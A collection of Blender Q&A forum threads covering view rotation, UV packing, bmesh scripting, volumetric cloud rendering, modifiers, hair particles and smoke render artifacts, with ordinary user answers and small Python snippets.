Hello , I want to work perpendicular to the surface in orthogonal view. After I press Shift +7 I get that view BUT I want to be able to rotate that view in 90 degrees increments. How do I do that?
Thank you!

You can use the navigation options under View > Navigation and their corresponding hotkeys to pan, orbit and rotate the view in 15 degree increments.

If I understand your description correctly, what you are looking for is numpad 4 and 6 to orbit.


Baking Groove on mesh results in black color I'm baking an object with groove on the surface, but after baking, the grooved part shows black, and I do not know why, my node step is as follow,

Sorry but this a stupid question, cause I engraved the text on the the sphere, I need to re unwrap the mesh, otherwise there will be uv coordinates and will results in black


How to pack uv without breaking stacks of islands? I've done uv-mapping and tried to pack islands manually, but failed to fill the whole texture space.

But if I try packing this with blender auto-packing, it breakes stacks and I receive trashed uv-map, that I don't want.

So I wonder if it is possible do make blender distribute islands evenly, keeping stacks? Or I just need to try more and more manually? Seems like overkill though..

EDIT: It appears that 3d-coat is able to pack such stacked uvs without splitting the stacks. It actually has two variants of pack procedure: with and without 'shuffle' of the islands: without shuffle it will only move and scale the visible islands.

May be other apps can do it too, but blender can't (at least I don't see how).

UV mapping is not my strong point, but when I get undesirable results I alternate between Smart UV unwrapping and the ordinary version.  When that fails I do a UV unwrap--> reset first, then a "Follow active quads" I think it's called.  That seems to divide the image up into even surface areas.  Once done I go back and redo it with smart or ordinary unwrapping.

This might sound weird to some (or many) but this procedure has actually got me around a few UV problems.


Using knife_tool from python api Hello I'm quite new in this api. I want to use knife_tool from bpy.ops.mesh on the selected face. When I just call (like in tooltip):

bpy.ops.mesh.knife_tool()

I get error:

Traceback (most recent call last):
  File "<blender_console>", line 1, in <module>
  File "/home/t/blender-2.71-linux-glibc211-x86_64/2.71/scripts/modules/bpy/ops.py", line 188, in __call__
    ret = op_call(self.idname_py(), None, kw)
RuntimeError: Operator bpy.ops.mesh.knife_tool.poll() failed, context is incorrect

I tried in edit and object mode. Maybe is any other way to cut face in my own points from console?

The knife tool is an interactive process that relies on the location of the mouse cursor and button clicks to perform it's task. This interactivity would make it hard to control from a python script.

To automatically edit a mesh through python you want to look at the bmesh module which is the underlying foundation to all mesh editing operations.

The issue with incorrect context indicates that the operator only works while the 3dview is active.


Allign vertices to viewing angle I know how to allign vertices or faces to a certain axis , but how can I allign them to the viewing angle ?
See picture , I want the selected vertices in the sphere to be alligned to the view ing angle

Using the View Transform orientation from the 3D View header pulldown menu.

Then scale the vertex to zero in the view direction by pressing S then pressing Z,Z twice to transform along view direction local Z axis.


Efficient Rendering of Many volumetric particles I am working on a research project utilizing blender to visualize realistic clouds generated from a Large Eddy Simulation. I've been able to do so in limited respects.

These images, while pretty, are extremely inefficient due to the how the cloud 'particles' are placed and rendered (taking on the scale of 1hr on an a brand new Nvidia Tesla 32gb).

The code goes through a 3d array (shape = (128,1024,1024), each point represents a $(25m)^3$ block) and places a primitive box at that location.

    bpy.ops.mesh.primitive_cube_add(radius=8*0.999/1024);
    orig_cube = bpy.context.active_object;
    mat = bpy.data.materials.get('CloudMatv0.1')
    orig_cube.data.materials.append(mat)
    orig_cube.name = 'Cloud Particle'
    bpy.ops.mesh.primitive_plane_add()
    o = bpy.context.active_object
    me = o.data
    bm = bmesh.new()
    for particle in cloudarray:
        bm.verts.new().co = [particle[2], particle[1], particle[0]]
    bm.to_mesh(me);
    o.dupli_type = 'VERTS';
    orig_cube.parent = o;

The material utilizes the light attenuation equation to estimate light absorption (overall not terribly inefficient), and a volume scatter node (very time consuming). Materials and camera are all built to work in cycles. As each of these particles is essentially a clone of the base block, the shape and visual effect that I am looking for is present, however it takes too long.

Goal

I need to maintain the cube shapes with volumetric rendering to be as realistic as possible. The most time consuming part of the render is 'building object flags', which I believe to the a direct result of the way the fields are set up, with many particles leading to a parent block.

Things I have Tried

Limiting cloud particle placement by the azimuthal angle to reflect the camera's FOV (80$\deg$)
Reducing light path sampling
Placing blocks/ merging them for each cloud/ removing inside vertices and faces

Possible Solutions

More efficient volume materials (or engine)
Point Cloud Skinner (haven't had luck with this)
Writing python script to manually build surface of mesh from point cloud (worst case scenario)

Thanks,
Nick

The best solution I found is by utilizing the point density node in the cycles materials. First, I placed a material with vertices - this method was described in my original post. Then, placing a cube around the coordinate extremes and assigning the vertex group as the first mesh. There are some toggles (resolution and radius), these are assigned to match the grid-size as defined by the simulation. Then the remaining of the problem is found in: Is there an easy way to make volumetric clouds for Cycles?.

edit:

The result of said manipulation is as follows


How to create a flat ramp out of stairs? I need to create a flat ramp, I have tried to dissolve the edges but its not producing the desired outcome, any ideas?

My current setup:

If I dissolve edges I get the following:

thanks for your help

A subdivided and extruded plane does the trick. See below:

Here the number of subdivisions is 7


Can't change to smooth shading I am building a car engine and I want to set it to smooth shading. But for some reason it does not work.
Has anyone an idea how to fix that?

Here you can download the .blend file.

You have an edge split modifier which is causing the faces to look like they are not smooth shaded, but they are.

The edge split modifier is splitting the surface into individual faces so it is no longer a single surface that can be smoothed.

Increase the edge split angle on the modifier to reduce this effect.


Hair Particle growing near a mesh so I've been trying to make a characther from one of my favorite mangas, and I really wanted to make a cool hair for it, but I just started using blender for like 2 weeks, so I'm not that knowledgeable. I used a particle system for the moustache, and another one for the body, but the problem is that near the arms, and the armpits, the hair grows weird, I guess it doesn't have "space" to grow. Any way to fix this?

So after looking for hours at the forums, I found a solution, just add more parents to the bald spots (well, they are not bald, but for some reason the hair grows inside of the mesh). It doesn't fixes the growing inside problem but, well, there are no balds spots now.
I used the Add tool in the particle edit mode.


Black lines in Smoke render Hello I'am new to blender, and I'am creating a ink drop in water animation using quick smoke simulation cycles render then after I finished rendering there's a strange black parts in the animation.

I would like to ask how can I remove these parts.

The attached link is the animation I rendered and the blend file.
https://www.dropbox.com/sh/unismmxg1w31y3v/AAD24U5jXFh5umXuNgczPao8a?dl=0

Thank you in advance

Try 2.80 version (or 2.79 daily build) there is no this behavior:

And by the way, try this setting in color ramp, in my opinion, it produce more cooler ink-drop look.

Maybe this is a bug, and it was fixed in new version...

in 2.79b adding a little bit tint of color also helps: